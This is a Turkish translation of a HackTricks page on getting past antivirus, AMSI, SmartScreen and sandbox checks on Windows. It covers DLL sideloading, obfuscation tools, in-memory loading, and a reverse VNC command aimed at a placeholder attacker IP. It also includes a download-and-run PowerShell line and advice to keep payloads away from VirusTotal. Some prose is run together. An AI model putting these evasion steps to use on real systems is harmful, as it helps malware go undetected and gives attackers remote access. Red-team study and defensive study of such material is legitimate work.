* **Şirketinizi HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
Şu anda, AV'ler bir dosyanın zararlı olup olmadığını kontrol etmek için farklı yöntemler kullanır: statik tespit, dinamik analiz ve daha gelişmiş EDR'ler için davranış analizi.
Statik tespit, bir ikili veya komut dosyasındaki bilinen zararlı dizeleri veya baytlarını işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak (örneğin, dosya açıklaması, şirket adı, dijital imzalar, simge, kontrol toplamı vb.) elde edilir. Bu, bilinen genel araçları kullanmanın sizi daha kolay yakalayabileceği anlamına gelir, çünkü muhtemelen analiz edilmiş ve zararlı olarak işaretlenmişlerdir. Bu tür bir tespiti atlatmanın birkaç yolu vardır:
Eğer ikiliyi şifrelerseniz, AV'nin programınızı tespit etme şansı olmayacaktır, ancak programı bellekte şifre çözme ve çalıştırma için bir yükleyiciye ihtiyacınız olacaktır.
Bazen yapmanız gereken tek şey, ikili veya komut dosyanızdaki bazı dizeleri değiştirmek, böylece AV'yi atlatmak mümkün olabilir, ancak bunu gizlemek istediğiniz şeye bağlı olarak zaman alıcı bir görev olabilir.
Windows Defender'ın statik tespitine karşı kontrol etmek için iyi bir yol [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)'dir. Bu, dosyayı birden çok segmente böler ve ardından Defender'a her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizeleri veya baytları tam olarak söyleyebilir.
Pratik AV Atlama hakkında bu [YouTube çalma listesini](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) kesinlikle kontrol etmenizi öneririm.
Dinamik analiz, AV'nin ikili dosyanızı bir kum havuzunda çalıştırması ve zararlı faaliyetleri izlemesi (örneğin, tarayıcınızın parolalarını şifre çözmeye ve okumaya çalışmak, LSASS üzerinde bir minidump yapmak vb.). Bu bölüm biraz daha karmaşık olabilir, ancak kum havuzlarını atlatabilmek için yapabileceğiniz bazı şeyler vardır.
* **Çalışmadan önce uyuma** Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini atlatmanın harika bir yoludur. AV'lerin dosyaları tarayabilmesi için çok kısa bir süreleri vardır, bu nedenle uzun süreli uyku kullanmak, ikili dosyaların analizini bozabilir. Ancak sorun şudur ki, birçok AV kum havuzları, uygulamanın nasıl uygulandığına bağlı olarak uykuyu atlayabilir.
* **Makinenin kaynaklarını kontrol etme** Genellikle Kum havuzlarının çalışması için çok az kaynakları vardır (örneğin, <2GBRAM),aksitakdirdekullanıcınınmakinesiniyavaşlatabilirler.Buradaçokyaratıcıolabilirsiniz,örneğinCPU'nunsıcaklığınıveyahattafanhızlarınıkontrolederek,herşeykumhavuzundauygulanmayabilir.
* **Makineye özgü kontroller** "contoso.local" alanına katılmış bir iş istasyonuna hedeflenmek istiyorsanız, bilgisayarın alanını kontrol ederek belirttiğinizle eşleşip eşleşmediğini kontrol edebilirsiniz, eşleşmiyorsa programınızı sonlandırabilirsiniz.
Microsoft Defender'ın Kum havuzu bilgisayar adının HAL9TH olduğu ortaya çıktı, bu yüzden zararlı yazılımınızı patlatmadan önce bilgisayar adını kontrol edebilirsiniz, eğer ad HAL9TH ile eşleşiyorsa, bu, Defender'ın kum havuzunda olduğunuz anlamına gelir, bu yüzden programınızı sonlandırabilirsiniz.
Örneğin, LSASS'ı dökmek istiyorsanız, **gerçekten mimikatz kullanmanız mı gerekiyor**? Yoksa daha az bilinen ve aynı şekilde LSASS'ı döken farklı bir projeyi mi kullanabilirsiniz?
Doğru cevap muhtemelen ikincisidir. Mimikatz'ı bir örnek olarak alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen zararlı yazılım parçalarından biridir, projenin kendisi süper harika olsa da, AV'leri atlatabilmek için onunla çalışmak da bir kabus olabilir, bu yüzden elde etmek istediğiniz sonuca ulaşmak için alternatiflere bakın.
Atlama için yüklerinizi değiştirirken, lütfen Defender'da **otomatik örnek göndermeyi kapatmayı** ve lütfen, ciddi anlamda, **VIRUSTOTAL'E YÜKLEMEYİNİZ**. Eğer amacınız uzun vadede atlama elde etmekse, yükünüzün belirli bir AV tarafından tespit edilip edilmediğini kontrol etmek istiyorsanız, bunu bir sanal makineye yükleyin, otomatik örnek göndermeyi kapatmaya çalışın ve sonuçtan memnun kalana kadar orada test edin.
**DLL Yan Yükleme**, yükleyici tarafından kullanılan DLL arama sırasından faydalanır ve hem kurban uygulamasını hem de kötü amaçlı yükleri birlikte konumlandırır.
DLL Yan Yükleme'ye duyarlı programları [Siofra](https://github.com/Cybereason/siofra) ve aşağıdaki powershell komut dosyasını kullanarak kontrol edebilirsiniz:
Bu komut, "C:\Program Files\\" içinde DLL hijacking'e duyarlı olan programların listesini ve yüklemeye çalıştıkları DLL dosyalarını çıktı olarak verecektir.
DLL Hijackable/Sideloadable programları kendiniz keşfetmenizi şiddetle öneririm, bu teknik doğru bir şekilde uygulandığında oldukça gizlidir, ancak genel olarak bilinen DLL Sideloadable programlarını kullanırsanız, kolayca yakalanabilirsiniz.
Sadece bir programın yüklemeyi beklediği bir DLL ile kötü niyetli bir DLL yerleştirmek, yüklemeniz gerçekleşmeyecektir, çünkü program, bu DLL içinde belirli bazı işlevleri beklemektedir. Bu sorunu çözmek için, başka bir teknik olan **DLL Proxying/Forwarding** kullanacağız.
**DLL Proxying**, programın proxy (ve kötü niyetli) DLL'den yaptığı çağrıları orijinal DLL'ye yönlendirir, böylece programın işlevselliğini korur ve yüklemenizin gerçekleşmesini sağlar.
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
Hem shellcode'umuz (SGN ile kodlanmış) hem de proxy DLL, [antiscan.me](https://antiscan.me) sitesinde 0/26 tespit oranına sahiptir! Bunu bir başarı olarak adlandırabilirim.
DLL Sideloading hakkında daha fazla bilgi edinmek için [S3cur3Th1sSh1t'in twitch VOD](https://www.twitch.tv/videos/1644171543) videosunu ve [ippsec'in videosunu](https://www.youtube.com/watch?v=3eROsG\_WNpE) izlemenizi **şiddetle tavsiye ederim**.
Evasion sadece bir kedi ve fare oyunudur, bugün işe yarayan yarın tespit edilebilir, bu yüzden sadece bir araca güvenmeyin, mümkünse birden fazla kaçırma tekniğini birleştirmeyi deneyin.
AMSI, "[dosyasız kötü amaçlı yazılım](https://en.wikipedia.org/wiki/Fileless\_malware)" önlemek için oluşturulmuştur. Başlangıçta, AV'ler yalnızca **diskteki dosyaları** tarama yeteneğine sahipti, bu yüzden payloads'ı**doğrudan bellekte** çalıştırabilirseniz, AV'nin bunu önlemek için yapabileceği bir şey yoktu, çünkü yeterli görünürlüğe sahip değildi.
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` komutunu çalıştırmak, Windows Defender'da aşağıdaki uyarıyı üretecektir.
Ancak, AMSI, birden fazla katmana sahip olsa bile betikleri şifresini çözebilme yeteneğine sahiptir, bu nedenle obfuskasyon, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçınmanın o kadar da basit olmadığı anlamına gelir. Bununla birlikte, bazen yapmanız gereken tek şey birkaç değişken adını değiştirmek olabilir, bu yüzden ne kadar bir şeyin işaretlendiğine bağlıdır.
AMSI, bir DLL'yi powershell (ayrıca cscript.exe, wscript.exe vb.) işlemine yükleyerek uygulanır, bu nedenle ayrıcalıklı olmayan bir kullanıcı olarak bile kolayca müdahale edilebilir. AMSI'nin uygulamasındaki bu kusur nedeniyle, araştırmacılar AMSI taramasını atlatmanın birden fazla yolunu bulmuşlardır.
AMSI başlatmasını başarısız kılmak (amsiInitFailed), mevcut işlem için hiç tarama başlatılmayacağı anlamına gelir. İlk olarak bu, [Matt Graeber](https://twitter.com/mattifestation) tarafından açıklanmış ve Microsoft daha geniş kullanımı önlemek için bir imza geliştirmiştir.
AMSI'yi mevcut powershell işlemi için kullanılamaz hale getirmek için sadece bir satır powershell kodu gerekiyordu. Bu satır tabii ki AMSI tarafından işaretlendi, bu yüzden bu teknik kullanılmak için bazı değişiklikler gerekiyor.
Bu teknik başlangıçta [@RastaMouse](https://twitter.com/_RastaMouse/) tarafından keşfedildi ve kullanıcı tarafından sağlanan girişi tarayan amsi.dll'deki "AmsiScanBuffer" işlevinin adresini bulmayı ve bunu E\_INVALIDARG kodu için geri döndürecek talimatlarla üzerine yazmayı içerir. Bu şekilde, gerçek taramanın sonucu temiz bir sonuç olarak yorumlanan 0 olarak dönecektir.
Daha detaylı bir açıklama için [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) adresini okuyun.
AMSI'yi powershell ile atlatmak için kullanılan birçok başka teknik de vardır, bunlar hakkında daha fazla bilgi edinmek için [**bu sayfayı**](basic-powershell-for-pentesters/#amsi-bypass) ve [bu repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) adresini kontrol edin.
C# açık metin kodunu **obfuskasyon** yapmak, derlemeleri derlemek için **metaprogramlama şablonları** oluşturmak veya derlenmiş derlemeleri **obfuskasyon** yapmak için kullanılabilecek birkaç araç vardır:
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu proje, [LLVM](http://www.llvm.org/) derleme paketinin açık kaynak bir çatalını sağlayarak [kod obfuskasyonu](http://en.wikipedia.org/wiki/Obfuscation_(software)) ve değiştirilemezlik aracılığıyla artırılmış yazılım güvenliği sağlamayı amaçlamaktadır.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator, derleyiciyi değiştirmeden ve harici bir araç kullanmadan, derleme zamanında obfuskasyonlu kod üretmek için `C++11/14` dilini nasıl kullanacağını gösterir.
* [**obfy**](https://github.com/fritzone/obfy): Uygulamayı kırmak isteyen kişinin işini biraz zorlaştıracak olan C++ şablon metaprogramlama çerçevesi tarafından oluşturulan obfuskasyonlu işlemler katmanı ekleyin.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz, .exe, .dll, .sys gibi çeşitli farklı pe dosyalarını obfuskasyon yapabilen bir x64 ikili obfuskatördür.
* [**metame**](https://github.com/a0rtega/metame): Metame, herhangi bir yürütülebilir dosya için basit bir metamorfik kod motorudur.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator, ROP (return-oriented programming) kullanarak LLVM destekli diller için ince taneli bir kod obfuskasyon çerçevesidir. ROPfuscator, düzenli talimatları ROP zincirlerine dönüştürerek bir programı derleme kodu düzeyinde obfuskasyon yapar ve normal kontrol akışımızı engeller.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nim ile yazılmış bir .NET PE Crypter olan Nimcrypt
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor, mevcut EXE/DLL'yi kabuk koduna dönüştürebilir ve ardından onları yükleyebilir
SmartScreen, temel olarak bir itibar tabanlı yaklaşımla çalışır, yani yaygın olarak indirilen uygulamalar SmartScreen'i tetikler ve böylece son kullanıcıya dosyayı çalıştırmadan önce uyarı verir ve engeller (ancak dosya yine de Daha Fazla Bilgi -> Yine de Çalıştır'a tıklayarak çalıştırılabilir).
**MoTW** (Mark of The Web), internetten dosya indirildiğinde otomatik olarak oluşturulan ve indirildiği URL ile birlikte Zone.Identifier adında bir [NTFS Alternatif Veri Akışı](https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS))'dır.
<figure><imgsrc="../.gitbook/assets/image (13) (3).png"alt=""><figcaption><p>İnternetten indirilen bir dosyanın Zone.Identifier ADS'sini kontrol etme.</p></figcaption></figure>
Önemli bir not olarak, **güvenilir** bir imzalama sertifikasıyla imzalanan yürütülebilir dosyaların **SmartScreen'i tetiklemediğini** belirtmek önemlidir.
Payload'larınızın Mark of The Web'i almaması için çok etkili bir yol, ISO gibi bir tür konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW)'ün **NTFS olmayan** birimlere uygulanamamasından kaynaklanır.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) Mark-of-the-Web'i atlatmak için payload'ları çıktı konteynerlerine paketleyen bir araçtır.
İşte [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) kullanarak ISO dosyalarının içine payload'ları yerleştirerek SmartScreen'i atlatma için bir demo.
C# ikili dosyalarını belleğe yükleme uzun zamandır bilinmektedir ve hala AV tarafından yakalanmadan post-exploitation araçlarını çalıştırmanın harika bir yoludur.
Çoğu C2 çerçevesi (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# derlemelerini doğrudan bellekte çalıştırma yeteneği sağlar, ancak bunu yapmanın farklı yolları vardır:
Bu, **yeni bir fedakar süreç oluşturarak** post-exploitation kötü amaçlı kodunuzu bu yeni süreçe enjekte etmek, kötü amaçlı kodunuzu çalıştırmak ve işlem bittiğinde yeni süreci sonlandırmak anlamına gelir. Bu yöntemin hem avantajları hem de dezavantajları vardır. Fork ve çalıştır yönteminin avantajı, yürütmenin **Beacon implant sürecimiz dışında** gerçekleşmesidir. Bu, post-exploitation eylemimizde bir şeyler yanlış gider veya yakalanırsa, **implantın hayatta kalma şansının çok daha yüksek** olması anlamına gelir. Dezavantajı, **Davranışsal Algılama** tarafından yakalanma olasılığının daha yüksek olmasıdır.
Bu, post-exploitation kötü amaçlı kodu **kendi sürecine enjekte etmek** ile ilgilidir. Bu şekilde, yeni bir süreç oluşturmanızı ve AV tarafından taranmasını önlemenizi sağlayabilirsiniz, ancak payload'unuzun yürütülmesiyle bir şeyler yanlış giderse, **beacon'ınızı kaybetme olasılığının çok daha yüksek** olduğu bir dezavantajı vardır.
C# Derlemesi yükleme hakkında daha fazla bilgi edinmek isterseniz, lütfen bu makaleyi kontrol edin: [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) ve InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
C# Derlemelerini **PowerShell'den** yükleyebilirsiniz, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) ve [S3cur3th1sSh1t'in videosuna](https://www.youtube.com/watch?v=oe11Q-3Akuk) göz atın.
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) önerisinde belirtildiği gibi, saldırıya uğramış makineye **Saldırgan Kontrollü SMB paylaşımında yüklenmiş yorumlayıcı ortama** erişim sağlayarak diğer dilleri kullanarak kötü amaçlı kodu çalıştırmak mümkündür.
Yorumlayıcı İkili dosyalarına ve SMB paylaşımındaki ortama erişime izin vererek, saldırıya uğramış makinenin belleğinde bu dillerde **keyfi kodu çalıştırabilirsiniz**.
Repo, Defender'ın hala betikleri taradığını ancak Go, Java, PHP vb. kullanarak **statik imzaları atlatmak için daha fazla esneklik** sağladığını belirtiyor. Bu dillerdeki rastgele obfuskasyon olmayan ters kabuk betiklerinin test edilmesi başarılı olmuştur.
Kaçınma çok karmaşık bir konudur, bazen bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekebilir, bu nedenle olgun ortamlarda tamamen algılanmadan kalmak neredeyse imkansızdır.
Daha Gelişmiş Kaçınma tekniklerine daha fazla bilgi edinmek için [@ATTL4S](https://twitter.com/DaniLJ94) tarafından yapılan bu konuşmayı izlemenizi şiddetle tavsiye ederim.
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) kullanabilirsiniz, bu, binary'nin **kötü amaçlı olarak bulduğu bölümleri kaldıracak** ve onları size ayıracaktır.\
Aynı şeyi yapan başka bir araç ise [**avred**](https://github.com/dobin/avred) ve hizmeti sunan açık bir web sitesi [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
İndirme bağlantısı: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (kurulum değil, bin indirmek istersiniz)
**Saldırgan**, **sunucusunda**`vncviewer.exe -listen 5900` komutunu **çalıştırmalıdır** böylece ters **VNC bağlantısını** almak için **hazır** olur. Ardından, **hedefte**: winvnc daemon'ını başlatın `winvnc.exe -run` ve `winwnc.exe [-autoreconnect] -connect <saldırgan_ip>::5900` komutunu çalıştırın.
* Eğer `winvnc` zaten çalışıyorsa başlatmayın veya bir [popup](https://i.imgur.com/1SROTTl.png) tetiklersiniz. `tasklist | findstr winvnc` komutuyla çalışıp çalışmadığını kontrol edin.
* Aynı dizinde `UltraVNC.ini` dosyası olmadan `winvnc` başlatmayın veya [yapılandırma penceresi](https://i.imgur.com/rfMQWcf.png) açılacaktır.
* Yardım için `winvnc -h` komutunu çalıştırmayın veya bir [popup](https://i.imgur.com/oc18wcu.png) tetiklersiniz.
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
Bir AV (Antivirüs) çözümünü atlatmanın bir yolu, C# kodunu derleyici kullanarak çalıştırmaktır. Bu, AV çözümünün statik analizini atlatmanın etkili bir yoludur. İşte bu yöntemi kullanarak nasıl bir AV bypass yapabileceğinizi gösteren bir örnek:
Bu örnekte, C# kodu bir dize olarak tanımlanır ve `CSharpCodeProvider` sınıfı kullanılarak derlenir. Derleme sonucunda oluşan derleme sonucu, `Assembly` sınıfı aracılığıyla yürütülür ve `HelloWorld.Program` sınıfının `Main` yöntemi çağrılır. Bu, AV çözümünün dikkatini çekmeden C# kodunu çalıştırmanın bir yoludur.
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.